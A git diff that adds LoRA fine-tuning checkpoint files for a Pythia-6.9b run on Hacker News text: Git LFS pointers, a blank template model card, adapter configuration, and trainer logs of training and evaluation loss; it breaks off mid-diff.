b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..082873e86c139819d5c0d311d9b4792e2e99ab94 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e7b992205dd18438230300a45f0391ca7ea3ed56f9ce06da54312045d5ff3b92 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..8d8367183367dc0d937ed77afc84cf5d0221b50a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2248c39b4cb7966519a6eac99908e79e467b4344a1eb80845084dea8693a762d +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..f3b952e81c9ed8c37528c0b9d4c13811ac0b62d3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d5ce5744fa32738c65fe7785ec589c49d96370233c9386567c3f06dceedb5f2c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..d9c94a2d554cb9176e1f6452c1c8064e701f6c9c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:69cb8b9fe313cb48c89565a287ca91c45004877815ee7660be6b701d2464119a +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..51e553491c4781c5843b2b1e7f660740ca1024d6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/trainer_state.json @@ -0,0 +1,603 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.066666666666666, + "eval_steps": 10, + "global_step": 380, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.22670735474688e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c25722869dc09d773eb7cfc0de92d9eee03218e8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4d45b4efe522e67b252149bdd37f947f4a041bda8e909e9196914c1e92b9294e +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..c82991ed8f6f047d99eaaca0e73b11bc440841ea --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:369838b990f643b1780e921194e9429deaa57b7d0a4911399eb806fa1322de44 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/rng_state.pth new file mode 100644 index 